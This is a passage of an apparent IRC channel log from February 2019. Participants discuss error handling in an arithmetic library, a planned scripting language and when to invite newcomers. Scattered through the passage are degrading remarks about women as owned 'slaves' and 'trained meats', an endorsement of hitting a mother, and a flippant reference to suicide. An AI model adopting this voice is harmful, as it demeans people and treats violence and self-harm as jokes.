ensure a correct computation (or death with alarm bells) if somehow bit flips , when this is inexpensive. 1892779;1549378346;asciilifeform;( typically this is where an arithmetic has been proven not to overflow, the overflow is connected to a Word of 'NoCarry' type, i.e. whose range is 0 .. 0 . ) 1892780;1549378429;asciilifeform;in the 'battlefield' release, all exceptions will be caught by handler that prints 'iron is damaged, replace immediately' 1892781;1549378492;asciilifeform;( this is ~already~ true, simply not yet connected to the bell. ) 1892782;1549378579;asciilifeform;on hardwarized ffa variants, this output is to be connected to either an actual bell, or at least red 'sad' lamp. 1892783;1549378638;asciilifeform;incidentally this is a feature that used to be standard on 'adult' comps, but was lost in the pc babel of 1980s 1892784;1549378670;asciilifeform;gotta indicate to owner when a piece of iron has realized that it is going south. 1892785;1549379815;lobbes;!!v 1D7DFBBE5095A736915C2E489F51D7A8E3D26076C2EEF9897A31EFF62B55A459 1892786;1549379815;deedbot;lobbes rated lobbes_field 1 << my handle for when I'm in the $saltmines 1892787;1549384155;mircea_popescu;asciilifeform no but listen, this "republic ?! we ain't heard of no stinkin' republic here in bedford, indiana!" quaintness might've been at some point even tolerated -- but it was always ~tolerated~, and in the terms of "oh, check out this moron". 1892788;1549384159;mircea_popescu;like you'd tolerate illiteracy in five year olds, or more generally http://btcbase.org/log/2018-12-20#1882319 slash http://bingology.net/2019/02/04/ring-lardner-and-confronting-my-own-inner-hayseed/#selection-57.0-63.103 1892789;1549384159;a111;Logged on 2018-12-20 00:45 asciilifeform: y'know full well that engineers can't find own head from arse in 'fields easier to observe' 1892790;1549384165;mircea_popescu;besideswhich, that "some point", whenever it was, certainly was not later than say http://btcbase.org/log/2018-07-14#1834669 -- a year ago is ancient history at the rate we go. 1892791;1549384165;a111;Logged on 2018-07-14 16:50 asciilifeform: oh hey woodchipper day 1892792;1549384173;mircea_popescu;#trilema is the forum of the most serene republic, not "an irc channel" or whatever other http://btcbase.org/log/2018-11-03#1869074 -bred nonsense / "consumers have come to expect", and i don't give shit one whether the yokels think they have or think they haven't one in "their" town. 1892793;1549384173;a111;Logged on 2018-11-03 15:04 mircea_popescu: there he sits, remote in hand, "checking to see if there's anything interesting on the tv". are we ready to entertain him yet ? or does he come back later ? 1892794;1549384224;mircea_popescu;the republic both wholly owns and actually made "their town", as well as themselves and everything else. the relationship is exactly of the nature of http://trilema.com/2018/heres-something-you-dont-see-nearly-often-enough/#selection-119.75-119.401 1892795;1549384389;mircea_popescu;now you tell me how you distinguish between case http://btcbase.org/log/2019-02-04#1892453 and case ~everything this dood spewed. there's http://btcbase.org/log/2018-11-30#1876356 on the record, and i wasn't kidding then, either. 1892796;1549384389;a111;Logged on 2019-02-04 22:13 mircea_popescu: much unlike naggum's mythical perl, doods sit around doing nothing all day with their reward circuitry so blownout, they literally fail to understand that no, "your message was too long" is an inacceptable reaction to the situation where "my phone is uselessly broken" 1892797;1549384389;a111;Logged on 2018-11-30 04:52 mircea_popescu: next shit out of your dumb mouth fails to string match apologizing for being quite so fucking stupid, i'ma fix the negligence whereby you can still speak here. 1892798;1549385466;asciilifeform;mircea_popescu: fair'nuff 1892799;1549385534;asciilifeform;mircea_popescu: i'ma bring larvae in strictly once they pupate, as discussed earlier with diana_coman . 1892800;1549385565;asciilifeform;( haven't grown any to pupae yet, but whoknows, possibly 1 day ) 1892801;1549385949;asciilifeform;meanwhile, in 'thought we hit bottom but then heard knock from below' in heathendom, https://archive.is/lFXpf << a chowdhra type Officially calls for nobus to be made Official doctrine 1892802;1549386012;asciilifeform;'Without an available fix it seems irresponsible to disclose such a vulnerability ...' etc 1892803;1549386332;mircea_popescu;but of course. 1892804;1549386519;mircea_popescu;http://btcbase.org/log/2019-02-05#1892747 << this is a proper question, if not one easy to answer. i believe spyked is correct in http://thetarpit.org/posts/y05/082-tmsr-schedule-i.html#selection-55.152-55.393 ; i will not go as far as to say "noob must only be invited at senate once he, like bunyan's hero, understands this is literally the only that does or could matter". nevertheless, it is evidently premature to invite any 1892805;1549386519;a111;Logged on 2019-02-05 13:54 asciilifeform: also will ask mircea_popescu to expand re when, exactly, one oughta invite folx from castle. 1892806;1549386520;mircea_popescu;one before they even understand this thing at all is. 1892807;1549386576;mircea_popescu;people visit the senate as a museum all the time, even schoolkids manage it alright. but they do it ~knowing where they are~, it seems to me you do an orc grave disservice if you don't even mention a thing such a town may exist, then take him there. obviously naive extension of whatever shiteating passes in his wilderness will get him thrown out. 1892808;1549386606;mircea_popescu;the only thing* 1892809;1549386650;mircea_popescu;hey phf ben_vulpes and, i guess Framedragger : can i prevail upon you to have (just one) logotron recognize [url][anchor] syntax and render it as anchor instead of the literal ? 1892810;1549386655;asciilifeform;some folx seem to know how to grow n00bs that walk in and set to work right off ( iirc diana_coman had one ) but asciilifeform not achieved this wonder of yet 1892811;1549386674;mircea_popescu;did you mention teh matter at all in conversation ? 1892812;1549386714;asciilifeform;which matter 1892813;1549386743;asciilifeform;how to behave ? it aint codified as such anywhere afaik. read noob's www, assumed -- cultured. 1892814;1549386809;mircea_popescu;no. that this here is the republic, which is the all-sovereign, whereas the "united states government" is a tax dodging unrecognized group of social misfits, and so following. 1892815;1549386855;asciilifeform;mircea_popescu: usually i give'em a link to the log, where can read this & other likbez at leisure. 1892816;1549386921;mircea_popescu;and then they don't, because http://trilema.com/2017/the-practical-costs-of-hallucinated-freedom/ still very much a thing, and slaveworld mindset very much still http://btcbase.org/log/2019-02-04#1892453 and so on. 1892817;1549386921;a111;Logged on 2019-02-04 22:13 mircea_popescu: much unlike naggum's mythical perl, doods sit around doing nothing all day with their reward circuitry so blownout, they literally fail to understand that no, "your message was too long" is an inacceptable reaction to the situation where "my phone is uselessly broken" 1892818;1549386956;mircea_popescu;if you want to change anything, change the thing where you fail to mention to kids that there's such a thing as sex until well after they've either been undone by it or somehow, through no fault of your own, survived. 1892819;1549387026;asciilifeform;mircea_popescu had a http://trilema.com/2016/how-to-participate-in-the-affairs-of-the-most-serene-republic/ , since marked obsolete. i suspect state of the art is still 'read log for year and come back if grasped' 1892820;1549387166;mircea_popescu;for lack of a better entry point i'll stick with http://btcbase.org/log/2019-02-03#1892214 ; unless someone wants to write a purpose-cut item 1892821;1549387166;a111;Logged on 2019-02-03 21:04 mircea_popescu: spyked nice article! it might even end up the current linkpoint for the various http://btcbase.org/log/2019-01-25#1889920 lost souls, "here, we know the future" item. 1892822;1549387586;mircea_popescu;http://btcbase.org/log/2019-02-05#1892739 << this is no small matter ; i ~expect~ a number of my own slaves to read each and every fucking line of this here log. it "takes nothing" to read a line until you start multiplying the lines and the readers. but what choice do they have, right, they're my slaves, if i order them that's an end to the matter. 1892823;1549387586;a111;Logged on 2019-02-05 13:50 diana_coman: asciilifeform, I must admit I fail to see *what* did the guy actually contribute; moreover he asked as far as I can see signalling questions, nothing more; granted, they were related to Ada but that's about the only positive I can find in the whole log I had to go through; perhaps it's simply too early for him to be here? maybe first have something done and only then come and show it? 1892824;1549387605;mircea_popescu;THEN there's all the people who aren't my slaves, who STILL fucking read each line of this here log. also "doesn't take anything" ? 1892825;1549387661;mircea_popescu;eventually you have to compare the marginal gain from "1 of maybe coupla thou noobs with working hands alive" with the marginal cost from "if i read one more redditline in the tmsr log ima tune it out". 1892826;1549387709;mircea_popescu;this is why even the whole castle thing ever exists, to decouple the "well, kid needs to be able to practice his restaurant eating skills sometime" with the obvious "if there's one single further kiddy squeal out chez maxim half the seats will empty up" 1892827;1549387725;asciilifeform;can't find what to dispute, tho will note that redditus-detector like any other detector oughta stay in calibration, if it's set off by gust of wind, it's not a detector at all 1892828;1549387750;mircea_popescu;you propose this is what happened or you just talkin' in teh general ? 1892829;1549387759;asciilifeform;general 1892830;1549387765;mircea_popescu;quite agreed. 1892831;1549387827;mircea_popescu;then again, 0 apparent awareness of the tmsr -> usg relationship is as fine a symptom as can be had, to the best of my knowledge. 1892832;1549388140;asciilifeform;i still dun see an obv 'entry point' for noob in log tho. 'no royal road.' 1892833;1549388154;asciilifeform;unwashed heathen who reads e.g. spyked's post, will understand 0. 1892834;1549388163;mircea_popescu;i suspect this is true. 1892835;1549388392;mircea_popescu;and a valid concern, at that, education's an important part of the function of oxford. 1892836;1549388828;asciilifeform;educable folx seem to be pretty thin on the ground tho. 1892837;1549388891;mircea_popescu;in no small part because of the misperception that education is something that'll bend to fit them 1892838;1549388902;asciilifeform;if there's a seekrit reserve of'em somewhere, asciilifeform not found yet. 1892839;1549388904;mircea_popescu;once that's off the ground, as many as one third of the girlies are perfectly educable. 1892840;1549388995;asciilifeform;we already iirc did the a:'so how many solved the ffa puzzlers' m : 'i wouldn't waste a precious trained gurl on such dirty works' thrd, dun have to replay. 1892841;1549389035;mircea_popescu;doesn't seem a very fair summary. 1892842;1549389049;asciilifeform;corrections welcome. 1892843;1549389207;asciilifeform;i aint about to try an' tell mircea_popescu how to use his trained meats. but will remain skeptical that any trainable in the sense asciilifeform contemplates, until see with own eyes, is all. 1892844;1549389498;mircea_popescu;are we talking here of "educable, as the process" or are we talking here of "educable, as to a certain goal" ? 1892845;1549389534;mircea_popescu;whether he ever ends up euler or not, 5yo child is math-educable, provided that every time his mother goes "oh, poor darling shouldn't have to" she gets a black eye. 1892846;1549389539;asciilifeform;narrow sense of educable-as-in-ave1 , i.e. capable of contributing to asciilifeform's load of heavy-lifting in particular. 1892847;1549389557;asciilifeform;i cannot speak for that of other folx. 1892848;1549389558;mircea_popescu;why would you be the one to set other's goals like that ? 1892849;1549389589;mircea_popescu;educable as in positive delta over time, not educable as in, reaches ishtar gate before i get bored waiting. 1892850;1549389611;asciilifeform;can't propose so far as to 'set goal', but will observe that the net # of mechanical moving parts currently fielded that came out of harem, is afaik 0. 1892851;1549389650;asciilifeform;and yes if/when nicoleci or new one etc sends in an optimization for ffa arithm, i'ma take it back. 1892852;1549389692;mircea_popescu;in the sense of, "the only surviving island of non-(engineeridiocy) is this here harem, and further, as part and parcel of my continued and systematic efforts to ensure failure, not only do i perceive this as a substantial lack of everyone else, but instead i'll propose that taking a sufficiently narrow view of the matter, it could almost be said the lacking parts don't even exist" ? 1892853;1549389755;mircea_popescu;except the situation is exactly reversed : it's not nicoleci that's expected to improve on ffa, it's you that's expected to improve on http://trilema.com/2018/how-things-have-changed/#selection-489.0-501.257 1892854;1549389824;asciilifeform;so my summary was 100% on, 'harem is crystalline perfect, and who are you to even suggest to sully it with dirty work'. 1892855;1549389828;mircea_popescu;our problems currently flow around the strong rocks of "there's a bunch of engineers and 0.epsilon businessmen", and the solution to them eminently will not be in the vein you contemplate. 1892856;1549389838;mircea_popescu;i still don't think so. 1892857;1549390037;mircea_popescu;rather a) harems are by their nature private, and consequently the ~outermost limit~ of your interaction with another's will be along the lines of http://btcbase.org/log/2018-09-19#1851696 discussion. 1892858;1549390037;a111;Logged on 2018-09-19 16:22 mircea_popescu: think of the whole opposability angle, will you. 1. alf : "your summaries suck" 2. bimbo "master, is this true ?" now i'm stuck. i'm not going to do a 3.b. "yes, because i like him" and i can't do a 3.a. "yes, because ~SOMETHING~" as the something's an undefined symbol. 1892859;1549390039;asciilifeform;also if mircea_popescu says harem consists of sales genius , i'ma believe; but i haven't any direct evidence of subj. 1892860;1549390115;mircea_popescu;and then b) why and wherefore is "work" defined in terms of "ffa improvements" ? thing's not even supposed to be ~improvable~. 1892861;1549390127;asciilifeform;mircea_popescu: also speaking of harem in the general case ( rather than strictly mircea_popescu in particular ), observation is narrowly 'no one yet reported that he trained a harem chix to work on mechanicals'. afaik. 1892862;1549390130;*;mircea_popescu says no such thing ; but rather the things he says. 1892863;1549390141;mircea_popescu;asciilifeform and why do they have to ? 1892864;1549390155;asciilifeform;mircea_popescu: ave1 managed to deliver a 50% cut in cpu cost, nonetheless (fixed inlining). 1892865;1549390161;mircea_popescu;so ? 1892866;1549390190;mircea_popescu;not that it's not a great achievement and hurray for ave1 ; but that, why's it to do with what we're talking about ? 1892867;1549390204;asciilifeform;so, what's the implication, why do we even need working tech, why not sit around and smell own farts like aristotle & co ? 1892868;1549390223;mircea_popescu;the implication is not re what we need, but re what they need. 1892869;1549390256;mircea_popescu;education is this process whereby people are sharpened, not changed. if girl has it in her to outwrite your ffa, she conceivably will, and if not, she will not. why's this something i'm to fret about ? 1892870;1549390259;asciilifeform;i dunthink i've the req'd yoga level of yet to make sense of this. 1892871;1549390300;mircea_popescu;in short : the point here is that we control ~the process~ of education, not ~the outcomes~ of education. 1892872;1549390314;mircea_popescu;because we're still causes not purposes and all that. who the fuck gives a rat's ass about "what will be". 1892873;1549390323;asciilifeform;'control outcomes' is red herring, i dun even know how to 'control outcome' of potted tomato plant. 1892874;1549390330;mircea_popescu;precisely. 1892875;1549390377;asciilifeform;can still observe that nobody's yet afaik grown truffle 'in captivity' tho. 1892876;1549390442;mircea_popescu;where truffle is macro-expanded to "fixed my ffa" ? 1892877;1549390483;asciilifeform;it's a concretization. dun have to be 'fix xyz', could be e.g. 'find how to grow working ic inside a metre^3 box' or any 1 of 9000 unsolveds. 1892878;1549390552;asciilifeform;or for that matter the direly needed biznisgenius. 1892879;1549390586;mircea_popescu;and how'd you discern if anybody did so grow or did not so grow ? 1892880;1549390614;asciilifeform;can directly observe only that array of $problem remains open. 1892881;1549390634;asciilifeform;whether 'not grown', or 'not deigns to show face', cannot discern. 1892882;1549390683;asciilifeform;( in selected cases, e.g. where bernstein prefers to smoke crack rather than showing up , can discern. but their song is sung , not much to add to'em ) 1892883;1549390780;asciilifeform;to take 1 instance, say, the 'penetrate china' problem. 1892884;1549390800;mircea_popescu;so, ultimately, the logic here goes thusly : 1) of all the parts of living animal, i choose spleen to be defined as "only relevant part", arbitrarily. because i really like spleens and i don't really understand anything besides them nor do i wish to or see why i should have to ; 1892885;1549390801;mircea_popescu;2) none of those other cells like intestinal cillia, or muscle smooth and striated, or neuron, axon, whatever does anything measurable to enlarge the spleen. 3) thus therefore it can be concluded that properly speaking, the only things growing spleen are the spleen itself. 1892886;1549390823;mircea_popescu;i don't even see the problem with this. though i must confess midly curious as to why it manages to occupy your time. 1892887;1549390834;asciilifeform;happens, when you work on spleens for 20y. 1892888;1549390927;mircea_popescu;you know, when it comes to http://btcbase.org/log/2019-02-05#1892810 hanbot 's actually the champ so far. 1892889;1549390927;a111;Logged on 2019-02-05 17:10 asciilifeform: some folx seem to know how to grow n00bs that walk in and set to work right off ( iirc diana_coman had one ) but asciilifeform not achieved this wonder of yet 1892890;1549390941;mircea_popescu;not counts ? 1892891;1549390954;asciilifeform;defo counts 1892892;1549390959;asciilifeform;asciilifeform's score is ~0 to date tho. 1892893;1549390968;asciilifeform;iirc all of mine died, like that chinese silkworm on moon. 1892894;1549391004;mircea_popescu;but died leaving behind actionables! 1892895;1549391015;asciilifeform;they did ?? 1892896;1549391018;asciilifeform;what did e.g. adlai leave 1892897;1549391026;mircea_popescu;for instance, you discovered, much to your own surprise, that in fact you were treating republican discussion with your noobs exact way parents were treating discussion of fucking. 1892898;1549391037;mircea_popescu;"will mention it no sooner than it no longer makes any difference!" 1892899;1549391042;asciilifeform;i suppose they left dissectable corpses 1892900;1549391048;mircea_popescu;indeed so. 1892901;1549391076;mircea_popescu;but anyway, on the other lobe, if it does make a difference i will declare that i'm absolutely not wilfully persecuting alf descendants. 1892902;1549391083;*;asciilifeform believes ! 1892903;1549391099;mircea_popescu;however it may seem from whatever angle howsoever chosen. 1892904;1549391101;asciilifeform;btw at one pt i tried to read the pile of strange gabriel_laddel left in his smoking crater. was not able to make sense. 1892905;1549391114;asciilifeform;was mostly comments tho, at least man knew how to write comments !111 1892906;1549391125;asciilifeform;by the megabyte, even.. 1892907;1549391160;mircea_popescu;!!up lobbes_field 1892908;1549391161;deedbot;lobbes_field voiced for 30 minutes. 1892909;1549391168;lobbes_field;danke 1892910;1549391187;asciilifeform;hm lobbes_field didntcha rate the field nick earlier ? ougtha work on own steam > 1892911;1549391188;asciilifeform;? 1892912;1549391199;lobbes_field;http://btcbase.org/log/2019-02-05#1892833 << fwiw I've been (slowly) baking a "Why TMSR?" (In style of Mocky's 'why ada?') post that is to be aimed at a heathen audience. 1892913;1549391199;a111;Logged on 2019-02-05 17:35 asciilifeform: unwashed heathen who reads e.g. spyked's post, will understand 0. 1892914;1549391211;asciilifeform;lobbes_field: neato 1892915;1549391215;mircea_popescu;asciilifeform i honestly don't think poor success rates with clinically relevant levels of self absorbed morons is necessarily something you'd be too worried about. 1892916;1549391224;lobbes_field;asciilifeform I did rate, but away from any keys atm 1892917;1549391233;mircea_popescu;that you tried, good. but to go, oh, adlai g_l etcetera O NOES... it's a little much. 1892918;1549391246;mircea_popescu;lobbes_field i'll defo read! 1892919;1549391260;lobbes_field;Anyways,  I generally agree that there exists the http://btcbase.org/log/2018-04-22#1804603 problem (though, I'd argue the experience is not exclusive to pantsuit, but for anyone brought up in the usual 'amatuer' environment of usgistan) 1892920;1549391260;a111;Logged on 2018-04-22 18:25 BingoBoingo: To pantsuit all of #trilema has to read as vexual as vexual reads to us 1892921;1549391278;mircea_popescu;i believe. 1892922;1549391349;mircea_popescu;it's becoming in any case quite fucking apparent. 1892923;1549391370;mircea_popescu;it also happens to be exactly the inverted image of success, culturally. 1892924;1549391419;asciilifeform;mircea_popescu: verily, if you try an' bake an item that 'fits in ALL heads', end up with marx, christianity, etc 1892925;1549391434;mircea_popescu;something like that. 1892926;1549391455;asciilifeform;who wants ~that~ success, can go across the street and buy by the bucketload 1892927;1549391457;lobbes_field;The difficulty to be able to give 'just the gist' is a good sign of something of substance 1892928;1549391516;mircea_popescu;thinking about it, lobbes ' distinction actually stands. pantsuit included in amateur set, but not exclusively. 1892929;1549391520;asciilifeform;funnily enuff , the verisimilitude fella's parting words were approx 'but wtf IS tmsr, can you give me gist at least!' 1892930;1549391553;mircea_popescu;entirely avoidable beheading. mention it first, not last. 1892931;1549391694;*;asciilifeform previously tried in the style of http://btcbase.org/log/2019-02-05#1892794 , but heathen's transformer windings tend to saturate and 'wtf, didja escape from nuthouse' and convo dun move no moar after that. 1892932;1549391694;a111;Logged on 2019-02-05 16:30 mircea_popescu: the republic both wholly owns and actually made "their town", as well as themselves and everything else. the relationship is exactly of the nature of http://trilema.com/2018/heres-something-you-dont-see-nearly-often-enough/#selection-119.75-119.401 1892933;1549391716;mircea_popescu;is this a bad thing ? 1892934;1549391740;asciilifeform;not for so long as we dun need the new spleen cells for anyffin. 1892935;1549391794;mircea_popescu;but let's compare outcomes. 1) alf talks to noob, elides any mention of republic, noob passes whatever lite-qualifications, comes here, gets negrated ; 2) alt talks to noob, mentions republic, noob runs off screaming. 1892936;1549391815;mircea_popescu;seems both produce the same amt of noob, ie , 0, but 2 produces less negratings. still better neh ? 1892937;1549391818;asciilifeform;#2 beats 1, at least economizes log space. 1892938;1549391839;asciilifeform;i'ma stick to 2 unless somebody suggests a viable 3. 1892939;1549391869;mircea_popescu;so then. "convo dun move no moar after that" means ~little. spyked was reading trilema early enough, as evident in the various antiqua he can drag in. then... convo moved no more after that... for what, eyars ? and then it moved. 1892940;1549391881;asciilifeform;tru 1892941;1549391888;mircea_popescu;this "convo moves" thing is as decidable as "computer never halting" 1892942;1549391935;asciilifeform;also tru. i have nfi for instance re whether e.g. Framedragger , halted 1892943;1549391941;mircea_popescu;me either. 1892944;1549391944;asciilifeform;or eaten by sea serpent or what. 1892945;1549392070;mircea_popescu;i am not saying here you must always lead with the http://trilema.com/2016/cat-vorg-adnotated/#selection-145.1-145.46 (tm) or the equally celebrated http://trilema.com/2018/heres-something-you-dont-see-nearly-often-enough/#selection-25.0-25.85 (tm). 1892946;1549392088;mircea_popescu;i happen to prefer excluding hard and early, but it's entirely my business, not some kind of universal model. 1892947;1549392187;asciilifeform;seems like mircea_popescu's method beats the 'soft' 1 tho -- better that heathen shits himself outside of the gate than in 1892948;1549392195;mircea_popescu;but still, by the time the one important thing, important to the exclusion of all others, was NEVER mentioned... something's wrong. i mean, just like http://trilema.com/2018/the-republic-without-mp/ except in the flavbour of... the republic without republic ? what possible sense does this make ? 1892949;1549392231;asciilifeform;how does one go about mention without an agreed prior ? 1892950;1549392242;mircea_popescu;whether you're willing to confront this or not, it's still factual that ~you~ wrote ffa at least ~in part~ because republic, and left to your own devices entirely you'd conceivably be http://btcbase.org/log/2019-02-04#1892360 to this very day! 1892951;1549392242;a111;Logged on 2019-02-04 17:18 asciilifeform: back when asciilifeform was spending his days putting robot arm through glass doors etc 1892952;1549392242;asciilifeform;can say 'republic' but it's just a string to'em 1892953;1549392268;mircea_popescu;this is very much a point. gotta find a prior, and to find you must look for it. 1892954;1549392273;asciilifeform;mircea_popescu: not only , but took 3+y of republic to wake up to that particular job needin' doin 1892955;1549392283;lobbes_field;Fwiw when I first started reading logs/trilema in 2014, I alternated between lost/confused/disturbed/intrigued. Then I stopped reading entirely for almost 6 months. Then finally it "hit me like a shit ton of bricks (tm)" and I realized I -had- to start doing (i.e. there was no choice if I wanted to actually make a mark on the world) 1892956;1549392295;mircea_popescu;three years is not a small number of years. 1892957;1549392303;asciilifeform;mircea_popescu: recall, i actually thought it was avoidable somehow 1892958;1549392310;mircea_popescu;you know ? 1892959;1549392319;mircea_popescu;men are but boards, rats are but water etc. 1892960;1549392397;phf;mircea_popescu: is the idea that message like [http://btcbase.org/log][logotron] will render it as just "logotron" in html? 1892961;1549392397;lobbesbot;phf: Sent 1 week, 0 days, and 15 hours ago: plox to snarf ch.16, ty 1892962;1549392407;mircea_popescu;phf linked, yes. 1892963;1549392410;asciilifeform;ohai phf 1892964;1549392418;*;phf waives 1892965;1549392422;mircea_popescu;lol 1892966;1549392430;mircea_popescu;waves, you silly! 1892967;1549392507;phf;it feels more sophisticated with an "i" in there 1892968;1549392511;asciilifeform;lol 1892969;1549392514;mircea_popescu;a okiey 1892970;1549392547;*;lobbes_field back to mines, bbl 1892971;1549392727;mircea_popescu;asciilifeform reviewing history, there's a lot of http://btcbase.org/log/2018-09-25#1853976 http://btcbase.org/log/2018-09-25#1854006 http://btcbase.org/log/2018-09-25#1854010 http://btcbase.org/log/2018-09-25#1854019 and so following. now, as a factual matter, the dood DID NOT give a shit, september to february. may i ask for my own curiosity what informs the "teachable" part in "teachable noob" ? 1892972;1549392727;a111;Logged on 2018-09-25 00:21 mircea_popescu: !!up verisimilitude 1892973;1549392727;a111;Logged on 2018-09-25 00:30 asciilifeform: verisimilitude: ever read the #trilema logs ? or just this minute found it 1892974;1549392727;a111;Logged on 2018-09-25 00:32 asciilifeform: verisimilitude: i highly recommend it, right now you're in approx the position of that random fella who sat down in a cargo plane and took off on a lark 1892975;1549392727;a111;Logged on 2018-09-25 00:34 asciilifeform: verisimilitude: i have quite a few items in own notebook similar to yours, from decade+ ago. lemme guess, were you stuck on uninhabited island ? 1892976;1549392791;asciilifeform;mircea_popescu: i read through his www, when he reappeared, and assumed that showed up on acct of having eaten log and having clue. 1892977;1549392798;asciilifeform;evidently nope. 1892978;1549392806;mircea_popescu;but why assume when could ask ? 1892979;1549392839;asciilifeform;still puzzled re why reappeared if never bothered to read log. 1892980;1549392864;mircea_popescu;precisely for the stated reason, http://btcbase.org/log/2018-11-03#1869074 1892981;1549392864;a111;Logged on 2018-11-03 15:04 mircea_popescu: there he sits, remote in hand, "checking to see if there's anything interesting on the tv". are we ready to entertain him yet ? or does he come back later ? 1892982;1549392877;BingoBoingo; also tru. i have nfi for instance re whether e.g. Framedragger , halted << iirc hooked on socialism? 1892983;1549392882;*;asciilifeform suspects that his mental model of heathen is actually ~deteriorating~ with time 1892984;1549392892;mircea_popescu;i believe this may well be true. 1892985;1549392917;mircea_popescu;as you never put any deliberate effort into studying such, your only model is built passively and as you've been spending less and less time in the soup... 1892986;1549392952;asciilifeform;even prior to republic, asciilifeform had a rudimentary compass, where 'comp would be a nifty item if it actually worked, nao where are there any people with half a brain who might care to see it fix' 1892987;1549392964;asciilifeform;what i never had ~any~ grasp on is the folx without ~any~ compass. 1892988;1549393004;mircea_popescu;i beg your pardon, http://btcbase.org/log/2018-08-01#1838623 1892989;1549393004;a111;Logged on 2018-08-01 03:03 douchebag: I'm in AT&T Hall of Fame 1892990;1549393016;asciilifeform;wat do they ~do~ when wake up ? drag to the slop bucket like prikoke ? 1892991;1549393021;BingoBoingo;What, the JWZ's just wanna be, wanna get along 1892992;1549393031;mircea_popescu;erryone got a compass. however, the two most widely sold models point squarely to Mom and own dick. 1892993;1549393047;asciilifeform;BingoBoingo: how does that scratch the itch of life tho. if 'want to get along', why not eat pistol sooner rather than later 1892994;1549393073;mircea_popescu;takes some intensity to off self. 1892995;1549393075;asciilifeform;mircea_popescu: hence prikoke 1892996;1549393078;BingoBoingo;Hedonistic adaptation, they always itch. Can't care 1892997;1549393103;mircea_popescu;this is a good point. heroin addict cold turkey itches INSIDE THE VEINS. 1892998;1549393106;mircea_popescu;what scratch ? 1892999;1549393124;asciilifeform;dose 'scratches' neh 1893000;1549393148;mircea_popescu;soothes, but not scratches. the problem with scratching is that the loop completer is only implemented in skin. 1893001;1549393167;mircea_popescu;~all~ nerve terminations can itch ; only skin nerve contains the "scratched" response. 1893002;1549393192;asciilifeform;is this how folx end up lopping off own limbs etc ? 1893003;1549393197;mircea_popescu;yup. 1893004;1549393204;asciilifeform;( only to then contract 'phantom' ) 1893005;1549393208;mircea_popescu;"defective". which, technically, it is. 1893006;1549393240;asciilifeform;iirc g_l & his leg etc 1893007;1549393271;mircea_popescu;i dunno what that was, very livresque reference to elliott, the whole foot thing. 1893008;1549393354;BingoBoingo;asciilifeform: I suspect it would do you well to carve out some time this week or next to take in the tract on America. The off season devolution models this very much and can't fairly be summarized. 1893009;1549393536;asciilifeform;BingoBoingo: i'ma get to it at some pt. currently hands full with 1) ffa 16b & 17 2) looking into to whom we gotta http://btcbase.org/log/2019-02-03#1892227 3) speccing components for 2nd rk plant 1893010;1549393536;a111;Logged on 2019-02-03 22:58 BingoBoingo: asciilifeform: When do you anticipate having brain space/time available to revisit the mechanization thread? 1893011;1549393562;asciilifeform;1000 pounds'a shit in 10 pound bag. 1893012;1549393599;asciilifeform;ftr ch17 is mostly written, btw. 1893013;1549393606;asciilifeform;it's where 'peh'. 1893014;1549393630;asciilifeform;i.e. 'adult' prog lang, with functions, variables, loops (with capped # of max ticks) etc. 1893015;1549393658;mircea_popescu;http://btcbase.org/log/2019-02-05#1892752 << very much self-solving, "by the time they ask things that result in discussions you regret not having in #trilema"... well... why regret. 1893016;1549393658;a111;Logged on 2019-02-05 14:00 diana_coman: fwiw my current (even recently updated!) rule for "when to invite" is ~ "when they are either asking intelligent questions in side-chan already OR have made something useful OR have a concrete, interesting proposition explored first in side-chan" 1893017;1549393693;mircea_popescu;eg http://btcbase.org/log/2019-02-02#1891844 happened specifically because "hm, this private convo... shouldn't die in smg boardroom". not the first time, either. 1893018;1549393693;a111;Logged on 2019-02-02 21:00 mircea_popescu: now, it seems to me the case that since there's little benefit in having more threads than cores, it is perfectly acceptable (in this situation) to hold these in an array set as to whatever maximum is reasonable. 32 or 64 or whatever count. 1893019;1549393720;mircea_popescu;this doesn't map directly, but if diana_coman were a noob that'd be the time i'd be like, "btw guise..." 1893020;1549393734;mircea_popescu;and it works equally well with the dead, it's the time when eg lardner ended up in log. and so on. 1893021;1549393737;asciilifeform;lol 'if grandmother had balls'(tm)(r) 1893022;1549393742;mircea_popescu;hm ? 1893023;1549393748;asciilifeform;'if diana_coman were noob' 1893024;1549393753;mircea_popescu;lol! 1893025;1549393764;asciilifeform;i do wonder what diana_coman was like as a noob tho 1893026;1549393772;mircea_popescu;she'd have no trouble at all getting an invite, huh ? such is the payoff of hard work! 1893027;1549393795;asciilifeform;i dun actually know the orig story of diana_coman 1893028;1549393802;mircea_popescu;asciilifeform actually, i can show you : http://trilema.com/2009/castiga-1000-ron-de-craciun/#comment-11652 1893029;1549393804;asciilifeform;iirc was init eulora player 1893030;1549393818;asciilifeform;aa so apparently pre-dates. 1893031;1549393841;asciilifeform;oh hm interesting, ancient diana_coman www 1893032;1549393895;asciilifeform;lol i've been trying ~not~ to collect moar http://btcbase.org/log/2019-02-04#1892390 fodder, will have to shelve for laters. 1893033;1549393895;a111;Logged on 2019-02-04 20:00 mircea_popescu: i guess ima put this in the report, "lost cto to binge reading ancient html site" 1893034;1549393921;mircea_popescu;keks. 1893035;1549393944;mircea_popescu;the problem with asking questions in here. 1893036;1549394465;mircea_popescu;http://btcbase.org/log/2019-02-05#1892758 << i specifically ~don't~ read them, among other real or imagined reasons specifically so i don't end up galled by some random infantilism and then carry it about. 1893037;1549394465;a111;Logged on 2019-02-05 14:06 diana_coman: but that's the point: side-channels are permissive, #trilema is not; and on the sharp end of it, coming in too early can result in negrate 1893038;1549394494;mircea_popescu;allegedly i gall easily. 1893039;1549394508;asciilifeform;mircea_popescu already teaches meat kindergarten, i dun expect he'd want moar for anyffin 1893040;1549394526;mircea_popescu;that also. 1893041;1549395248;mircea_popescu;re http://btcbase.org/log/2019-02-05#1892771 recall ye olden days of http://btcbase.org/log/2015-02-26#1034672 / http://btcbase.org/log/2015-02-26#1034674 ? 1893042;1549395248;a111;Logged on 2019-02-05 14:37 asciilifeform: diana_coman: fwiw i didn't end up on 2012 blindly, actually walked the feature ladder and consciously picked. 1893043;1549395248;a111;Logged on 2015-02-26 19:35 punkman: asciilifeform: should I be looking at ada 2012 flavour? 1893044;1549395248;a111;Logged on 2015-02-26 19:36 asciilifeform: none of the post-95 features are likely to be usable on a bare-metal build 1893045;1549395322;mircea_popescu;but anyway, for completeness, the matter was more or less disposed may 2016 : http://btcbase.org/log/2016-05-04#1462227 1893046;1549395322;a111;Logged on 2016-05-04 00:56 mod6: <+asciilifeform> in other nyooz, my 'ada 2012 ref man.' is here. << that's neat. thought we were leaning towards the '95 standard? 1893047;1549395558;asciilifeform;mircea_popescu: iirc 